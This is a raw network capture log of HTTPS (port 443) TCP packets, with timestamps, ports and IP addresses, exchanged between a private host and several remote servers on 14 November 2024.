Nov 14, 2024 20:43:34.099762917 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.099801064 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.163443089 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:34.163518906 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:34.163579941 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:34.617484093 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.617921114 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.617938042 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.618315935 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.618319988 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.753371954 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.754261017 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.754277945 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.755150080 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.755155087 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.757421017 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.757580996 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.757711887 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.757730007 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.757742882 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.757801056 CET	49908	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.757807016 CET	443	49908	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.762309074 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.762353897 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.762425900 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.762748957 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.762769938 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.849883080 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.850619078 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.850651026 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.851501942 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.851511002 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.890294075 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.890376091 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.890454054 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.890757084 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.890784979 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.890845060 CET	49910	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.890851974 CET	443	49910	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.897799015 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.897855997 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.897927046 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.898334980 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.898366928 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.963572025 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.963783026 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.963948011 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.964032888 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.964076042 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.964108944 CET	49905	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.964126110 CET	443	49905	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.968369007 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.968420982 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.968492985 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.968641043 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.968661070 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.982856989 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.983236074 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.983371973 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.983371973 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.983371973 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.992988110 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.993073940 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:34.993386984 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.993386984 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:34.993524075 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.070360899 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.071079016 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.071171045 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.071742058 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.071758986 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.206482887 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.206866980 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.206947088 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.207031012 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.207031965 CET	49909	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.207072973 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.207102060 CET	443	49909	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.210371971 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.210403919 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.210597038 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.210830927 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.210844994 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.287471056 CET	49911	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.287534952 CET	443	49911	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.505311966 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.505951881 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.505995035 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.507060051 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.507066965 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.634933949 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.635005951 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.635169029 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.635215044 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.635215044 CET	49912	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.635235071 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.635247946 CET	443	49912	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.637615919 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.637661934 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.637731075 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.637873888 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.637896061 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.672970057 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.673700094 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.673777103 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.674066067 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.674083948 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.690383911 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.690757990 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.690799952 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.691191912 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.691199064 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.801388979 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.801786900 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.801866055 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.802802086 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.802818060 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.812969923 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.813033104 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.813132048 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.813308001 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.813342094 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.813369989 CET	49913	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.813385963 CET	443	49913	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.819329023 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.819392920 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.819542885 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.819731951 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.819777966 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.819905043 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.819989920 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.820040941 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.820091009 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.820107937 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.820138931 CET	49914	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.820147038 CET	443	49914	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.822839975 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.822865009 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.823147058 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.823322058 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:35.823333979 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.956918001 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:35.999435902 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.002906084 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.002940893 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.003448009 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.003460884 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.081667900 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.082221031 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.084498882 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.092468023 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.092468023 CET	49915	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.092513084 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.092540026 CET	443	49915	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.132894993 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.133057117 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.133146048 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.172565937 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.172566891 CET	49916	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.172650099 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.172686100 CET	443	49916	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.178101063 CET	49838	443	192.168.2.4	142.250.184.196
Nov 14, 2024 20:43:36.178132057 CET	443	49838	142.250.184.196	192.168.2.4
Nov 14, 2024 20:43:36.183897018 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.183932066 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.184072971 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.186697006 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.186741114 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.186808109 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.186949015 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.186959028 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.187386990 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.187407017 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.377425909 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.420815945 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.432305098 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.432322979 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.433216095 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.433222055 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.557053089 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.558198929 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.558228970 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.559207916 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.559212923 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.561275959 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.561345100 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.561388969 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.561733007 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.561742067 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.561750889 CET	49917	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.561754942 CET	443	49917	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.570524931 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.570559025 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.570610046 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.570969105 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.570979118 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.689752102 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.690462112 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.690521955 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.694356918 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.694370031 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.694377899 CET	49919	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.694384098 CET	443	49919	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.699801922 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.699889898 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.699959040 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.700139999 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.700179100 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.770248890 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.771095991 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.771161079 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.772475958 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.772492886 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.908036947 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.908109903 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.908185959 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.908365965 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.908405066 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.908432007 CET	49918	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.908447027 CET	443	49918	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.915676117 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.915704966 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.915802002 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.915935040 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.915951014 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.930304050 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.930959940 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.930984974 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.932297945 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.932302952 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.961668015 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.962304115 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.962384939 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:36.963546038 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:36.963609934 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.053565025 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.053587914 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.053741932 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.054020882 CET	49925	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.054032087 CET	443	49925	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.060406923 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.060548067 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.060597897 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.060678959 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.060700893 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.060714006 CET	49920	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.060720921 CET	443	49920	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.063457012 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.063467026 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.063576937 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.063699007 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.063708067 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.097176075 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.097184896 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.097332001 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.099833965 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.100063086 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.100264072 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.104063034 CET	49927	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:37.104079008 CET	443	49927	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:37.104715109 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.104788065 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.104826927 CET	49921	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.104846001 CET	443	49921	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.110429049 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.110523939 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.110614061 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.110750914 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.110785961 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.303565979 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.304522038 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.304522038 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.304552078 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.304565907 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.437289953 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.437355995 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.437591076 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.437643051 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.437666893 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.437681913 CET	49922	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.437690020 CET	443	49922	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.441240072 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.441327095 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.441461086 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.442028046 CET	49929	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.442065001 CET	443	49929	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.443347931 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.443856001 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.443939924 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.444617987 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.444633961 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.574568987 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.574745893 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.574836969 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.575133085 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.575133085 CET	49923	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.575202942 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.575243950 CET	443	49923	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.578061104 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.578149080 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.578329086 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.578459978 CET	49930	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.578483105 CET	443	49930	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.659388065 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.660032034 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.660058975 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.660517931 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.660522938 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.797173023 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.797290087 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.797353029 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.797466040 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.797776937 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.797795057 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.797808886 CET	49924	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.797813892 CET	443	49924	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.802975893 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.802988052 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.803756952 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.803761005 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.805826902 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.805888891 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.805996895 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.806191921 CET	49931	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.806222916 CET	443	49931	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.859806061 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.860277891 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.860323906 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.862340927 CET	49928	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.862354994 CET	443	49928	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.934365988 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.934483051 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.934560061 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.934732914 CET	49926	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.934750080 CET	443	49926	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.937396049 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.937494040 CET	443	49932	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:37.937588930 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.937743902 CET	49932	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:37.937774897 CET	443	49932	13.107.246.45	192.168.2.4
